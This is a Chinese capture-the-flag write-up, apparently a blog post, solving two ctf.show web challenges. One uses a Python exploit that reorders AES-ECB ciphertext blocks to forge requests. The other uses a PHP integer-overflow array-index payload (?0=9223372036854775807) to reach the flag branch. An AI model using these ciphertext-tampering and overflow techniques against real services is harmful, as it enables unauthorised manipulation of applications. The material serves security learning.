ECB模式一组密文对应一组明文,可以通过改变密文的顺序从而改变解密后明文的顺序。大概这么个意思。

在源码注释中给出了一个明文实例

{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}'

抄一下大佬的exp

import requests
import json
import base64
import random
url='http://a2471254-006e-457c-8b16-1e5938dec6c6.challenge.ctf.show/'




s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]


for i in range(10):
        r=s.get(url+'find_dragonball')
        responses.append(json.loads(r.text))


for item in responses:
        data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
        miwen=base64.b64decode(item['address'])
        round_no=item['round_no']
        if round_no in [str(i) for i in range(1,8)]:
                fake_address=miwen[:64]+miwen[80:]
                fake_address=base64.b64encode(fake_address).decode()
                r=s.get(url+'get_dragonball',params={"address":fake_address})


r=s.get(url+'flag')
print(r.text)

url处改写ctf靶场地址就行,运行exp,得到flag

无一幸免_FIXED

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        die($flag);
    }
}
?>

代码分析,我们通过参数0传入内容,而后会被当做数组的索引,然后赋值为1。

通过判断,我尝试使用字符或者字母,但是发现都没有用。

数字和字符没有用,那么剩下的,还有什么?整数溢出?

补充一下:
int64的取值范围int64 : -9223372036854775808 to 9223372036854775807

可以实际再php中运行看看超出取值会怎么样

<?php
$a = 9223372036854775806;
$b = 9223372036854775807;
$c = 9223372036854775808;
echo $a;
echo "\n";
echo $b;
echo "\n";
echo $c;

运行一下,我们发现,在int64取值范围内的数被正常输出;临界值也会被正常输出;但是超出哪怕1,他就由整数型变成了浮点型。

补充一下:
什么是隐式转换?就是当就是当我们赋值的这个数超过它本身这个类型的范围,就会自动变成范围更大的类型

根据源码的判断条件,我们验证一下是否能构造出符合条件的参数呢?

<?php
 
$a[9223372036854775806]=1;
echo $a[]=1;
 
$b[9223372036854775807]=1;
echo $b[]=1;

$c[9223372036854775808]=1;
echo $c[]=1;

运行一下看看,我们发现在int64取值范围内和范围外的数,都可以被当作数组索引,成功赋值并输出;唯独在临界点的数,发生了报错。

那么我们让源码中条件判断赋值报错,是否能执行后边else语句输出flag呢?

payload:?0=9223372036854775807

成功获得flag

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值